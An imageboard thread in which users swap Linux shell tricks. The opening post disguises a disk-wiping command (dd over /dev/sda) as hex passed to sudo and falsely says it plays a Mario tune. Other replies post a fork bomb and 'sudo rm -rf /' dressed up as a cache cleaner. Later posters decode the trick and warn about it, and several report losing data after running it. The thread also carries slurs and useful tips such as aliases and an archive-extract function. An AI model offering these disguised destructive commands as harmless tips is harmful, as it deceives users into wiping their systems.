Itt: we share cool linux command line tricks/programs/whatever

itt: we share cool linux command line tricks/programs/whatever

sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)

command related. plays the mario dungeon tune on a loop

Other urls found in this thread:

fi.archive.ubuntu.com/ubuntu
stackoverflow.com/questions/18567685/why-does-command-substitution-change-how-quoted-arguments-work
nongnu.org/atool/
en.wikipedia.org/wiki/Germanwings_Flight_9525
twitter.com/NSFWRedditGif

...

is that god mode for linux?

Lel

don't do this guys it makes nerve gas

Just ran this on my home NAS and it didn't work.

Uh-huh, and that needs sudo because...?

>man xxd
the entire bit in the parentheses is just obfuscating
dd if=/dev/zero of=/dev/sda count=100 bs=1M

sudo apt install gentoo

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
gentoo
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 549 kB of archives.
After this operation, 1,883 kB of additional disk space will be used.
Get:1 fi.archive.ubuntu.com/ubuntu yakkety/universe amd64 gentoo amd64 0.20.7-1 [549 kB]
Fetched 549 kB in 0s (2,221 kB/s)
Selecting previously unselected package gentoo.
(Reading database ... 243250 files and directories currently installed.)
Preparing to unpack .../gentoo_0.20.7-1_amd64.deb ...
Unpacking gentoo (0.20.7-1) ...
Processing triggers for mime-support (3.60ubuntu1) ...
Processing triggers for desktop-file-utils (0.23-1ubuntu1) ...
Setting up gentoo (0.20.7-1) ...
Processing triggers for man-db (2.7.5-1) ...


tfw installed gentoo

reboot and see

>ubuntu faggety

alias ..='cd ..'
alias ...='cd ../../'

>hardcoding /dev/sda

You stupid bro? Determine the device of root. We live in the nvme age.

>Not running ubuntu minimal with wm of choice for maximum compatibility, customizablity and relatively up-to-date software
kys desu senpai

alias apt-get install='emerge'

This, I've got mmc based storage and it won't kit me

>nvme
>mmc based storage
never heard of this before

:(){ :|: & };:

function extract {
if [ -z "$1" ]; then
# display usage if no parameters given
echo "Usage: extract ."
else
if [ -f $1 ] ; then
# NAME=${1%.*}
# mkdir $NAME && cd $NAME
case $1 in
*.tar.bz2) tar xvjf ../$1 ;;
*.tar.gz) tar xvzf ../$1 ;;
*.tar.xz) tar xvJf ../$1 ;;
*.lzma) unlzma ../$1 ;;
*.bz2) bunzip2 ../$1 ;;
*.rar) unrar x -ad ../$1 ;;
*.gz) gunzip ../$1 ;;
*.tar) tar xvf ../$1 ;;
*.tbz2) tar xvjf ../$1 ;;
*.tgz) tar xvzf ../$1 ;;
*.zip) unzip ../$1 ;;
*.Z) uncompress ../$1 ;;
*.7z) 7z x ../$1 ;;
*.xz) unxz ../$1 ;;
*.exe) cabextract ../$1 ;;
*) echo "extract: '$1' - unknown archive method" ;;
esac
else
echo "$1 - file does not exist"
fi
fi
}

itt thread being stupid enough to run a command prefaced with sudo

eMMC is the storage of choice for shitphones.

Dude tar recognizes most of those formats automatically and tar xf/unzip/rar x is shorter to type than extract.

Nothing really happened, what does it do?

Don't be drunk browse here and assume it could be like stack overflow or ask ubuntu.

I've set this up on all on my boxes, it's remarkable how much faster navigation becomes

>feeding some string of characters to xxd which interprets each character as a hex digit and each pair of such digits as an ASCII code and outputs a string of characters corresponding to these codes and then feed that resulting string to the shell as a command sure sounds like a good idea

Nice try, OP. Btw you're incorrect, it plays the zelda triforce theme.

c:\duke3d\duke.exe

oh wait forgot Losex doesn't have even one video game

> alekh@archvm
> archvm
> vm

Fuck you OP. I did it on my dad's computer and he's coming home soon. Wat do

>this, desu

found the skid

turn down the volume

`echo "6563686f2022666f6f22" | xxd -r -p`

Why does it output the encoded string's quotation marks as if they were escaped?

Found the skid mark.

#REKT

find /your_moms_pussy -maxdepth -exec BBC {} \;

touch fluffy tail

Seriously asking. Executing echo "foo" directly prints just foo as expected. Then why executing it indirectly via `echo "6563686f2022666f6f22" | xxd -r -p` prints "foo" (i.e. as if the encoded string that is executed was echo \"foo\" instead)?

cool

6563686f2022666f6f22 is "foo" and xxd is printing exactly that because it doesn't ignore the quotes like echo.

Nah, it doesn't seem to have anything to do with how xxd works. The hex sequence 6563686f2022666f6f22 represented as characters is echo "foo", and that's what xxd outputs (you can verify this by removing the backticks and just running echo "6563686f2022666f6f22" | xxd -r -p). You get echo "foo" printed to stdout as expected. The original command (where the previous one is put in backticks, putting it inside $() works the same) does command substitution and executes the previously output string echo "foo" as a command, but somehow echo literally prints the quotation marks here.

Btw if you have ls aliased to provide colored output, you'll find that running `echo ls` will run the ls binary directly rather than recognizing the alias. Is the unexpected behavior in both cases due to the same thing, and what is it exactly?

Your Arch VM is kill. Now install gentoo

>trusting stack overflow or askubuntu while drunk

looks like you dd'd your hard drive. it will still work as long as your programs are in ram

The quotes are escaped by xxd when they are executed in the backtick context even though your shell shows you normal quotes, basically what is actually executed differs from what you were shown in the shell.

>Btw if you have ls aliased to provide colored output, you'll find that running `echo ls` will run the ls binary directly rather than recognizing the alias. Is the unexpected behavior in both cases due to the same thing, and what is it exactly?

Backticks start a subshell which doesn't have access to your aliases because subshells and child processes don't inherit aliases.

IT WORKED

IM LIVING THE MEME

Ok, so apparently bash does things like quote processing and alias processing way before command substitution, so after the latter is done any quotes or aliases are treated literally.

alright, now I guess I'd better convert it to find out what it's just done
root@ubuntu-512mb-lon1-01:~# sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)
100+0 records in
100+0 records out
104857600 bytes (105 MB, 100 MiB) copied, 0.117426 s, 893 MB/s
root@ubuntu-512mb-lon1-01:~#

Nah, that all sounds like rubbish, see for the answer. Proof: stackoverflow.com/questions/18567685/why-does-command-substitution-change-how-quoted-arguments-work

>From tbe Bash Reference Manual

The order of expansions is: brace expansion, tilde expansion, parameter, variable, and arithmetic expansion and command substitution (done in a left-to-right fashion), word splitting, and filename expansion.

sudo apt-get install girlfriend

sudo pacman -S gf

...thought I ran this on my testing vps. I ran it on the one that hosts mumble and my portforlio fuck me, I don't have any of it backed up - welp I guess I've got something to do for the next week

anyone have any scp aliases

>linux command line
tech illiterate spotted

explain how

Were you expecting to hear the tunes over SSH?

Obviously he's gonna argue "hurr linux is a kernel and doesn't have a shell, muh interjection" etc.

no of course not, I assumed it was malicious but I've heard before that it doesn't work so wanted to try it for myself

sudo rm -rf /

This helps clear your caches, which essentially leads to faster boot time. Your mileage may vary, though

You forgot --no-preserve-root

>has root access to a linux server
>couldn't at least recognize that the command runs some opaque string as a root command
>actually ran a command with results unknown to him as root
>did it on a fucking server

I sure hope you're joking, mr. user.

see I knew the command was malicious, only thing I fucked up was running it on the wrong server

...

Why you all thinks that the command in OP is malicious? Read through the thread, it's just a simple hard drive R/W speed tester
Fucking illiterates

Well then, praise Kek for he has blessed you with wisdom

epic, simply epic

>no backups
OP did you a favor

hurr hurr hurr we are legion hurr hurr hurr people are gonna fall for this Sup Forums xd duckroll so much mischief lol i am viewing this thread in Tomorrow mode

it was just a static webpage and a mumble server didn't seem like it was worth backing up

Description: fully GUI-configurable, two-pane X file manager
gentoo is a two-pane file manager for the X Window System. gentoo lets the
user do (almost) all of the configuration and customizing from within the
program itself. If you still prefer to hand-edit configuration files,
they're fairly easy to work with since they are written in an XML format.
.
gentoo features a fairly complex and powerful file identification system,
coupled to an object-oriented style system, which together give you a lot
of control over how files of different types are displayed and acted upon.
Additionally, over a hundred pixmap images are available for use in file
type descriptions.
.
gentoo was written from scratch in ANSI C, and it utilizes the GTK+ toolkit
for its interface.

underrated post

Your neet life ended.

> sudo

I am not falling for that

To find out what it does, run it without the 'sudo $(stuff)'

echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p

This will print to the terminal:
dd if=/dev/zero of=/dev/sda count=100 bs=1M

By enclosing that in sudo $(), it literally runs the outputted text.

In case you're wondering, the command writes zeroes for the first 100MB of your hard drive (this is usually where your bootloader is).

Don't run this on a production system. Nice troll OP.

The long string is a continuous hexdump (bytes encoded in base 16). xxd -r -p will revert it back to the original message, which happens to be "dd if=/dev/zero of=/dev/sda count=100 bs=1M". This command will wipe your bootloader clean. (there is a reason dd is nicknamed disk destroyer) Just in case any of you were seriously considering running an obfuscated command with sudo.

So, running OP's command in a VM is safe?

Yes, running in a VM will simply wipe the first 100MB of your bootloader's virtual drive. Which, if you're just running a live session in your VM, effectively does nothing.

If you've installed to a virtual drive, it will break your install.

r9k airlines

What you're referring to "linux command line" is in fact the GNU bash shell. Linux is, as always, just a kernel.

nongnu.org/atool/

inspired by a true story
en.wikipedia.org/wiki/Germanwings_Flight_9525

>bytes encoded in base 16

They are not "encoded". You obviously don't quite understand what "encoding" means". A bit pattern is raw and devoid of any "encoding" (it's higher-level things such as characters which are encoded as specific bit patterns), however it may have different representations (which is something different from an encoding). The hexadecimal representation is used frequently because it allows four bits to be represented by a single digit.

How about figuring out exactly by yourself what it does by just looking at it and examining it (look at if you need hints), rather than asking random people who cannot be trusted whether it is "safe" (which isn't well-defined at all, a complex command which does literally nothing on one system may have disastrous effects on another)?

$(echo "I

sudo rm -rf --no-preserve-root

How is /dev/sda guaranteed to be "your bootloader's virtual drive"?

Or just setopt autocd in your ~/.zshrc

>Yes, running in a VM will simply wipe the first 100MB of your bootloader's virtual drive
It could be /dev/vda or /dev/mmcblk0 or anything really.

>Not running ubuntu minimal with wm of choice for maximum compatibility, customizablity and relatively up-to-date software
tfw ubuntu users genuinely believe this

This does literally nothing as you didn't specify what to delete (and the -f parameter suppresses any output which would point that out).

Jet fuel can't melt mountain rocks.

is this garbage some encrypted command that does rm -rf /

No.

>shitting on tomorrow mode

this corrupted my hard drive, do not do this


i lost 5 years of photos

Find a file on your drive:

ls -R / |grep somefilename

Just made this.
It's basically killall, but for renice.
I use it for when an app has multiple processes
eg "reniceall 15 vivaldi-bin"

function reniceall
{
renice $1 -p $(pidof $2)
}

find / -name somefilename
is faster

>tfw some redditor actually fell for this

Makes my life worth living

locate filename
even faster